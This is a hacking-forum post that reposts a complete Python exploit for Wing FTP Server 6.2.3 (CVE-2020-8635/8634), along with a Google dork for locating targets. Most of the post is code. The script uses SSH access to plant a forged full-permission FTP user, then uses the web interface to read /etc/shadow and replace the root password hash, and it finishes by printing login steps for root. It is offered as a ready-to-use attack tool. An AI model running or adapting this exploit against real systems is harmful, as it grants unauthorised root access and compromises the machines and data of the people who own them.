Hoşgeldin Misafir

Wing FTP Server 6.2.3 - Privilege Escalation Exploit

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Wing FTP Server 6.2.3 - Privilege Escalation Exploit

Kod:
# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
# Google Dork: intitle:"Wing FTP Server - Web"
# Date: 2020-03-02
# Exploit Author: Cary Hooper
# Vendor Homepage: https://www.wftpserver.com
# Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz
# Version: v6.2.3
# Tested on: Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 (x86)
 
 
# Given SSH access to a target machine with Wing FTP Server installed, this program:
#       - SSH in, forges a FTP user account with full permissions (CVE-2020-8635)
#       - Logs in to HTTP interface and then edits /etc/shadow (resulting in CVE-2020-8634)
# Each step can all be done manually with any kind of code execution on target (no SSH)
# To setup, start SSH service, then run ./wftpserver.  Wing FTP services will start after a domain is created.
# https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php (writeup)
 
 
#!/usr/bin/python3
 
#python3 cve-2020-8635.py -t 192.168.0.2:2222 -u lowleveluser -p demo --proxy http://127.0.0.1:8080
 
import paramiko,sys,warnings,requests,re,time,argparse
#Python warnings are the worst
warnings.filterwarnings("ignore")
 
#Argument handling begins
parser = argparse.ArgumentParser(description="Exploit for Wing FTP Server v6.2.3 Local Privilege Escalation",epilog=print(f"Exploit by @nopantrootdance."))
parser.add_argument("-t", "--target", help="hostname of target, optionally with port specified (hostname:port)",required=True)
parser.add_argument("-u", "--username", help="SSH username", required=True)
parser.add_argument("-p", "--password", help="SSH password", required=True)
parser.add_argument("-v", "--verbose", help="Turn on debug information", action='store_true')
parser.add_argument("--proxy", help="Send HTTP through a proxy",default=False)
args = parser.parse_args()
 
#Global Variables
global username
global password
global proxies
global port
global hostname
global DEBUG
username = args.username
password = args.password
 
#Turn on debug statements
if args.verbose:
        DEBUG = True
else:
        DEBUG = False
 
#Handle nonstandard SSH port
if ':' in args.target:
        socket = args.target.split(':')
        hostname = socket[0]
        port = socket[1]
else:
        hostname = args.target
        port = "22"
 
#Prepare proxy dict (for Python requests)
if args.proxy:
        if ("http://" not in args.proxy) and ("https://" not in args.proxy):
                print(f"[!] Invalid proxy.  Proxy must have http:// or https:// {proxy}")
                sys.exit(1)
        proxies = {'http':args.proxy,'https':args.proxy}
else:
        proxies = {}
#Argument handling ends
 
#This is what a <username>.xml file looks like.
#Gives full permission to user (h00p:h00p) for entire filesystem '/'.
#Located in $_WFTPROOT/Data/Users/
evilUserXML = """<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>h00p</UserName>
        <EnableAccount>1</EnableAccount>
        <EnablePassword>1</EnablePassword>
        <Password>d28f47c0483d392ca2713fe7e6f54089</Password>
        <ProtocolType>63</ProtocolType>
        <EnableExpire>0</EnableExpire>
        <ExpireTime>2020-02-25 18:27:07</ExpireTime>
        <MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession>
        <MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession>
        <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
        <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
        <SessionNoCommandTimeOut>5</SessionNoCommandTimeOut>
        <SessionNoTransferTimeOut>5</SessionNoTransferTimeOut>
        <MaxConnection>0</MaxConnection>
        <ConnectionPerIp>0</ConnectionPerIp>
        <PasswordLength>0</PasswordLength>
        <ShowHiddenFile>0</ShowHiddenFile>
        <CanChangePassword>0</CanChangePassword>
        <CanSendMessageToServer>0</CanSendMessageToServer>
        <EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth>
        <SSHPublicKeyPath></SSHPublicKeyPath>
        <SSHAuthMethod>0</SSHAuthMethod>
        <EnableWeblink>1</EnableWeblink>
        <EnableUplink>1</EnableUplink>
        <CurrentCredit>0</CurrentCredit>
        <RatioDownload>1</RatioDownload>
        <RatioUpload>1</RatioUpload>
        <RatioCountMethod>0</RatioCountMethod>
        <EnableRatio>0</EnableRatio>
        <MaxQuota>0</MaxQuota>
        <CurrentQuota>0</CurrentQuota>
        <EnableQuota>0</EnableQuota>
        <NotesName></NotesName>
        <NotesAddress></NotesAddress>
        <NotesZipCode></NotesZipCode>
        <NotesPhone></NotesPhone>
        <NotesFax></NotesFax>
        <NotesEmail></NotesEmail>
        <NotesMemo></NotesMemo>
        <EnableUploadLimit>0</EnableUploadLimit>
        <CurLimitUploadSize>0</CurLimitUploadSize>
        <MaxLimitUploadSize>0</MaxLimitUploadSize>
        <EnableDownloadLimit>0</EnableDownloadLimit>
        <CurLimitDownloadLimit>0</CurLimitDownloadLimit>
        <MaxLimitDownloadLimit>0</MaxLimitDownloadLimit>
        <LimitResetType>0</LimitResetType>
        <LimitResetTime>1580092048</LimitResetTime>
        <TotalReceivedBytes>0</TotalReceivedBytes>
        <TotalSentBytes>0</TotalSentBytes>
        <LoginCount>0</LoginCount>
        <FileDownload>0</FileDownload>
        <FileUpload>0</FileUpload>
        <FailedDownload>0</FailedDownload>
        <FailedUpload>0</FailedUpload>
        <LastLoginIp></LastLoginIp>
        <LastLoginTime>2020-01-26 18:27:28</LastLoginTime>
        <EnableSchedule>0</EnableSchedule>
        <Folder>
            <Path>/</Path>
            <Alias>/</Alias>
            <Home_Dir>1</Home_Dir>
            <File_Read>1</File_Read>
            <File_Write>1</File_Write>
            <File_Append>1</File_Append>
            <File_Delete>1</File_Delete>
            <Directory_List>1</Directory_List>
            <Directory_Rename>1</Directory_Rename>
            <Directory_Make>1</Directory_Make>
            <Directory_Delete>1</Directory_Delete>
            <File_Rename>1</File_Rename>
            <Zip_File>1</Zip_File>
            <Unzip_File>1</Unzip_File>
        </Folder>
    </USER>
</USER_ACCOUNTS>
"""
 
#Verbosity function.  
def log(string):
        if DEBUG != False:
                print(string)
 
#Checks to see which URL is hosting Wing FTP
#Returns a URL, probably. HTTPS preferred.  empty url is checked in main()
def checkHTTP(hostname):
        protocols= ["http://","https://"]
        for protocol in protocols:
                try:
                        log(f"Testing HTTP service {protocol}{hostname}")
                        response = requests.get(protocol + hostname, verify=False, proxies=proxies)
                        try:
                                #Server: Wing FTP Server
                                if "Wing FTP Server" in response.headers['Server']:
                                        print(f"[!] Wing FTP Server found at {protocol}{hostname}")
                                        url = protocol + hostname
                        except:
                                print("")
                except Exception as e:
                        print(f"[*] Server is not running Wing FTP web services on {protocol}: {e}")
        return url
 
#Log in to the HTTP interface.  Returns cookie
def getCookie(url,webuser,webpass,headers):
        log("getCookie")
        loginURL = f"{url}/loginok.html"
        data = {"username": webuser, "password": webpass, "username_val": webuser, "remember": "true", "password_val": webpass, "submit_btn": " Login "}
        response = requests.post(loginURL, headers=headers, data=data, verify=False, proxies=proxies)
        ftpCookie = response.headers['Set-Cookie'].split(';')[0]
        print(f"[!] Successfully logged in!  Cookie is {ftpCookie}")
        cookies = {"UID":ftpCookie.split('=')[1]}
        log("return getCookie")
        return cookies
 
#Change directory within the web interface.
#The actual POST request changes state.  We keep track of that state in the returned directorymem array.
def chDir(url,directory,headers,cookies,directorymem):
        log("chDir")
        data = {"dir": directory}
        print(f"[*] Changing directory to {directory}")
        chdirURL = f"{url}/chdir.html"
        requests.post(chdirURL, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies)
        log(f"Directorymem is nonempty. --> {directorymem}")
        log("return chDir")
        directorymem = directorymem + "|" + directory
        return directorymem 
 
#The application has a silly way of keeping track of paths.
#This function returns the current path as dirstring.
def prepareStupidDirectoryString(directorymem,delimiter):
        log("prepareStupidDirectoryString")
        dirstring = ""
        directoryarray = directorymem.split('|')
        log(f"directoryarray is {directoryarray}")
        for item in directoryarray:
                if item != "":
                        dirstring += delimiter + item
        log("return prepareStupidDirectoryString")
        return dirstring
 
#Downloads a given file from the server.  By default, it runs as root.
#Returns the content of the file as a string.
def downloadFile(file,url,headers,cookies,directorymem):
        log("downloadFile")
        print(f"[*] Downloading the {file} file...")
        dirstring = prepareStupidDirectoryString(directorymem,"$2f")  #Why wouldn't you URL-encode?!
        log(f"directorymem is {directorymem} and dirstring is {dirstring}")
        editURL = f"{url}/editor.html?dir={dirstring}&filename={file}&r=0.88304407485768"
        response = requests.get(editURL, cookies=cookies, verify=False, proxies=proxies)
        filecontent = re.findall(r'<textarea id="textedit" style="height:520px; width:100%;">(.*?)</textarea>',response.text,re.DOTALL)[0]
        log(f"downloaded file is: {filecontent}")
        log("return downloadFile")
        return filecontent,editURL
 
#Saves a given file to the server (or overwrites one).  By default it saves a file with
#644 permission owned by root.
def saveFile(newfilecontent,file,url,headers,cookies,referer,directorymem):
        log("saveFile")
        log(f"Directorymem is {directorymem}")
        saveURL = f"{url}/savefile.html"
        headers = {"Content-Type": "text/plain;charset=UTF-8", "Referer": referer}
        dirstring = prepareStupidDirectoryString(directorymem,"/")
        log(f"Stupid Directory string is {dirstring}")
        data = {"charcode": "0", "dir": dirstring, "filename": file, "filecontent": newfilecontent}
        requests.post(saveURL, headers=headers, cookies=cookies, data=data, verify=False)
        log("return saveFile")
 
#Other methods may be more stable, but this works.
#"You can't argue with a root shell" - FX
#Let me know if you know of other ways to increase privilege by overwriting or creating files.  Another way is to overwrite
#the Wing FTP admin file, then leverage the lua interpreter in the administrative interface which runs as root (YMMV).
#Mind that in this version of Wing FTP, files will be saved with umask 111.  This makes changing /etc/sudoers infeasible.
 
#This routine overwrites the shadow file
def overwriteShadow(url):
        log("overwriteShadow")
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        #Grab cookie from server.
        cookies = getCookie(url=url,webuser="h00p",webpass="h00p",headers=headers)
 
        #Chdir a few times, starting in the user's home directory until we arrive at the target folder
        directorymem = chDir(url=url,directory="etc",headers=headers,cookies=cookies,directorymem="")
         
        #Download the target file.
        shadowfile,referer = downloadFile(file="shadow",url=url,headers=headers,cookies=cookies,directorymem=directorymem)
 
        # openssl passwd -1 -salt h00ph00p h00ph00p
        rootpass = "$1$h00ph00p$0cUgaHnnAEvQcbS6PCMVM0"
        rootpass = "root:" + rootpass + ":18273:0:99999:7:::"
 
        #Create new shadow file with different root password & save
        newshadow = re.sub("root(.*):::",rootpass,shadowfile)
        print("[*] Swapped the password hash...")
        saveFile(newfilecontent=newshadow,file="shadow",url=url,headers=headers,cookies=cookies,referer=referer,directorymem=directorymem)
        print("[*] Saved the forged shadow file...")
        log("exit overwriteShadow")
 
def main():
        log("main")
        try:
                #Create ssh connection to target with paramiko
                client = paramiko.SSHClient()
                client.load_system_host_keys()
                client.set_missing_host_key_policy(paramiko.WarningPolicy)
                try: 
                        client.connect(hostname, port=port, username=username, password=password)
                except:
                        print(f"Failed to connect to {hostname}:{port} as user {username}.")
                 
                #Find wftpserver directory
                print(f"[*] Searching for Wing FTP root directory. (this may take a few seconds...)")
                stdin, stdout, stderr = client.exec_command("find / -type f -name 'wftpserver'")
                wftpDir = stdout.read().decode("utf-8").split('\n')[0].rsplit('/',1)[0]
                print(f"[!] Found Wing FTP directory: {wftpDir}")
                #Find name of <domain>
                stdin, stdout, stderr = client.exec_command(f"find {wftpDir}/Data/ -type d -maxdepth 1")
                lsresult = stdout.read().decode("utf-8").split('\n')
                #Checking if wftpserver is actually configured.  If you're using this script, it probably is.
                print(f"[*] Determining if the server has been configured.")
                domains = []
                for item in lsresult[:-1]:
                        item = item.rsplit('/',1)[1]
                        if item !="_ADMINISTRATOR" and item != "":
                                domains.append(item)
                                print(f"[!] Success. {len(domains)} domain(s) found! Choosing the first: {item}")
                domain = domains[0]
                #Check if the users folder exists
                userpath = wftpDir + "/Data/" + domain
                print(f"[*] Checking if users exist.")
                stdin, stdout, stderr = client.exec_command(f"file {userpath}/users")
                if "No such file or directory" in stdout.read().decode("utf-8"):
                        print(f"[*] Users directory does not exist.  Creating folder /users")
                        #Create users folder
                        stdin, stdout, stderr = client.exec_command(f"mkdir {userpath}/users")
                #Create user.xml file
                print("[*] Forging evil user (h00p:h00p).")
                stdin, stdout, stderr = client.exec_command(f"echo '{evilUserXML}' > {userpath}/users/h00p.xml")
                #Now we can log into the FTP web app with h00p:h00p
                 
                url = checkHTTP(hostname)
                #Check that url isn't an empty string (and that its a valid URL)
                if "http" not in url:
                        print(f"[!] Exiting... cannot access web interface.")
                        sys.exit(1)
 
                #overwrite root password
                try:
                        overwriteShadow(url)
                        print(f"[!] Overwrote root password to h00ph00p.")
                except Exception as e:
                        print(f"[!] Error: cannot overwrite /etc/shadow: {e}")
 
                #Check to make sure the exploit worked.
                stdin, stdout, stderr = client.exec_command("cat /etc/shadow | grep root")
                out = stdout.read().decode('utf-8')
                err = stderr.read().decode('utf-8')
 
                log(f"STDOUT - {out}")
                log(f"STDERR - {err}")
                if "root:$1$h00p" in out:
                        print(f"[*] Success!  The root password has been successfully changed.")
                        print(f"\n\tssh {username}@{hostname} -p{port}")
                        print(f"\tThen: su root (password is h00ph00p)")
                else:
                        print(f"[!] Something went wrong... SSH in to manually check /etc/shadow.  Permissions may have been changed to 666.")
 
                log("exit prepareServer")
        finally:
                client.close()
 
main()
 
#  0day.today [2020-03-08]  #